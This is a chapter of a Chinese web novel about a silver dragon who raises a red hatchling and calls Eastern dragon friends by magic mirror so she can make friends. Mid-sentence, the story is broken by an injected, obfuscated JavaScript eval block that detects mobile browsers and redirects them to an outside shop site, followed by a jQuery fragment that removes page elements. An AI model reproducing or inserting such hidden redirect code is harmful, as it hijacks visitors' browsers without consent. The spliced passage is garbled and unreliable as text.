25. 朋友
作品:《就要银龙男妈妈》 “为什么突然想出去?”银龙问,“是巢/穴太小的吗?”
这其实算是明知故问了。
幼龙总喜欢结伴玩耍,他们的活动空间大到足以用千米计数。
与之相比,厄尔斯那长宽不过百米出头的龙巢的确偏小——毕竟作为不那么合群的银龙,他的龙巢只要能装下自己和这些年积攒的财产就足够了。
桑琳纳从妈妈的后颈一路爬到他的头顶,赤红的龙尾搭在银色的鳞片上,有一搭没一搭的甩着:“我认识新朋友,妈妈。”
朋友。
银龙开始在心底埋怨自己年轻时的孤僻了。
幼崽的要求非常合理——毕竟她是活泼的赤龙,整个龙族里就没有别的种族会比赤龙更爱交朋友了。
他想了想,修长的脖颈缓缓低下,示意幼龙从他的头顶跳下来。
老实说,尽管他开始有意的给她调整饮食结构,让那条微微发胖的龙尾瘦了点,但幼龙整体的体重依然在稳定增长——当然,这是伴随着体型增大而同步进行的——现在她在他的身上狂奔乱跳的时候,龙爪接触鳞片时发出的动静不再是刚破壳时的“哒哒”声,而是“咚咚”了。
也许再过十几年,他的脖子就没法承受她的重量了。
也许我应该重新锻炼肌肉?银龙有些担忧的想。
杞龙忧天的家长看着现在依旧小巧玲珑的幼崽,语气如常的说:“宝贝,你还记得那条东方龙吗?”
桑琳纳:“那个长条叔叔?”
“他叫辰渊,”银龙说,“不过你喊他长条叔叔他也不会生气,而且他有很多个孩子,其中几条…我是说,其中几位年龄也和你相仿,或许你们会很聊得来。”
幼崽的眼睛亮了起来。
“几位!”她叫道,“哦!我可以交很多个朋友了!”
她激动地来回打转,翅膀呼扇着飞起来,又绕着银龙盘旋了几圈,最后像是找到合适枝干的鸟雀一样,轻巧的落在银龙抬起的龙尾上。
在幼崽期盼的目光中,银龙开始诵唱传讯魔法——那和她破壳时所用的是同一个。
半透明的魔法水镜缓缓浮现,镜面上泛起层叠的涟漪,在短暂的沉寂后,恢复平整的水镜上出现了两只缠在一起的龙。
银龙:“……”
那两条龙一黑一白,忘我的拧成一条扭曲的麻花。所幸从传来的声音上看,他们大概只是单纯的亲昵,其他少龙不宜的事倒没做。
须臾,元素的波动让黑色的那条警觉起来,他打了个哈欠扭头,看见了沉默不语的银龙,以及被银龙龙爪捂住脑袋,正疯狂扭动着试图探头的红色幼崽。
玄龙:“……”
银龙:“……”
桑琳纳:“怎么了?妈妈?这样我看不见了!”
她不开口倒还好,一开口,两头(条)龙之间那难以言喻的尴尬刹那就被点燃了——而同时,另一条白色的龙也被陌生幼崽呼喊妈妈的声音吵醒,带着困意抬头,随后看到了水镜那头一大一小两头龙。
白龙:“……”
玄龙:“……”
银龙:“……”
三头(条)龙大眼瞪小眼,一时无话。
只有被蒙在爪后的幼崽茫然地用爪子抓银龙的鳞片,一边抓一边喊:“妈妈?妈妈?怎么了?”
哗啦一声,水镜化为清水落在地上,又很快分解成水元素,彻底消失的无影无踪。
那是回过神的银龙主动切断的——因为他看到白龙已经张开嘴,露出一口尖利的长牙。
她似乎正准备咬玄龙一口。
东方龙有一句古话,叫做“家丑不外扬”。银龙向来尊重东方龙的文化,加上这事也是自己理亏在先,因此识趣的不再打扰。
作为思想上相对开放的西方龙,厄尔斯并不太能理解东方远亲们在性上既奔放又含蓄的态度——一方面很怕被好友撞见和伴侣的亲近,另一方面却又和她不停地口口,光是银龙在东方待的那几十年里,他俩就造出来十来枚蛋。
玄龙在孵蛋一事上倒是天赋异禀,长长的一条龙盘成一坨,一次就能把所有龙蛋搂进怀里,要不了几年的功夫,他们的龙宫里就出现了到处乱爬的幼龙。
反正白龙和玄龙家大业大,孩子再多也养得起。
银龙放下爪子,看见幼龙已经鼓起腮帮,准备朝他喷火了。
银龙:“抱歉,桑琳纳,刚刚魔法出了点问题。”
桑琳纳:“哦。”
银龙用尾巴拍拍她的头,幼崽就把火元素重新收回龙角,转身拱进了他的怀里,尾巴垂在地上轻轻摇起来。
和记忆里那些被惯得无法无天、心眼比谁都多的幼崽对比,她的确是一头很好哄的小龙。
也许是因为一直和他生活,根本没机会见到更广阔的世界、结交各式各样朋友的缘故吧。
银龙垂下眼,无声的叹了口气。
又过了会,水镜忽然在他们面前重新展开,露出玄龙与白龙两张长长的龙脸。
玄龙的嘴筒子上有一条横着的牙印痕迹,而白龙的龙须还上翘着,这是东方龙余怒未消的表现。
厄尔斯说:“刚才很抱歉。”
他似乎只有对着桑琳纳的时候才会露出相对健谈和温柔的一面,而在友龙面前,即便语气相对温和,却也依然有明显的疏离感。
但玄龙和白龙显然习以为常,她们和他打了声招呼,随后一起好奇的低头,观察起了乖乖坐着的桑琳纳。
白龙说:“无妨,是我们没封印好法器,这才叫你看到这狼狈场面……这是辰渊说的幼龙么?当真生得鲜艳可爱,当初她破壳时我不在场,实在是一桩憾事。”
她对桑琳纳外表的欣赏发自内心。
银龙知道白龙向来心直口快,从不做违心的恭维,听到她夸赞自己的小龙,心底涌上一股理所应当——桑琳纳这么可爱,谁会不喜欢她呢?
他把这句话转述给了桑琳纳。
幼崽同样在观察着他们,听到表扬后,露出了和银龙一样的“这是我应得的”姿态——但依然很礼貌的说:“谢谢长条阿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697471|189032||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姨。”
白龙:“……”
她用长有鬃毛的龙尾指着玄龙问:“这是谁?”
桑琳纳:“长条叔叔。”
白龙不说话了。
但她整条龙开始以较高的频率发抖,并且还隐约发出了憋不住气的“吭吭”声,龙须更是自发的打结了——除了桑琳纳外,另外两头(条)成年龙都明显的看出来,假如这里没有幼崽的话,白龙已经开始狂笑了。
“……也快有两年光阴了吧?”玄龙知道伴侣希望在幼崽面前留个好印象,于是默默承担起了转移话题的责任,“活得太久也不见得是好事,而今我都快记不清时间了——”
他话锋一转,忽然严肃的说:“不过,贤弟,听为兄一句劝:孩子是关不住的。”
银龙点了点头,沉静道:“你知道我想做什么?”
“我可不觉得你会因为自己的事来找我们,”玄龙懒懒道,“当初她破壳时如此,而今她略通龙事亦是如此,这是最闲不住的年纪,我们懂得很。”
他正准备再说些什么,但白龙却在水镜找不到的地方用尾巴抽了他一下。
都是活了几千年的老油条,这两条龙多少能猜到银龙族中出了变故,但既然他并未开口求助,自己也不好主动出言询问。
玄龙将位置让给了白龙,后者则瞥了眼眼巴巴望着自己的红色龙崽,又看到银龙那(被幼崽挖的)坑坑洼洼、(被幼崽叼走宝藏导致)乱七八糟的龙巢,重重的叹了口气。
“贤弟,”她说,“我知道你们大抵是住不惯雕栏画柱的宫殿的,但至少得把这儿拾掇拾掇吧?”
银龙想到桑琳纳边说着“妈妈不要动它们的位置,不然我会找不到的”边乱丢乱放藏品的样子,沉默着低下头,和她无辜的双眼对视。
桑琳纳:“?”
白龙继续说:“我虽不敢自称了解你,但至少还是熟悉你的脾气的——这样一个能三天三夜不讲话的性子,如何能把孩子养好?”
银龙:“所以我才来找二位帮忙。”
“哦?”玄龙插嘴:“你要她和我们家的孩子时不时聊聊天?”
那边白龙的龙须飘起来,不赞同道:“以当初贤弟的大恩,莫说是谈天说地,便是要孩儿们亲自作陪也是足够的。只是隔着水镜如何能尽兴?到底治标不治本,还是得亲自带她出去玩玩才是……对了,你不是公的吗,为何她喊你娘亲?”
银龙淡淡说:“这就说来话长了。”
白龙虽然有时好奇心重,但看龙脸色的功夫也同样深厚,她知道银龙多少是有些西方龙霸道的通病在的,于是识趣的不再追问。
桑琳纳听不懂东方龙语——尽管本质上互通,但东方龙说的话在西方龙听来,就是口音极重、语序倒错的断续词语——但她看见白龙长有五爪的短短龙爪从旁边随便一抓,将一条细细的黑白渐变的小龙抓了出来,递到水镜前。
白龙:“喏,孩儿,和妹妹问个好。”
小龙惺忪着睡眼:“?”
桑琳纳:“!”

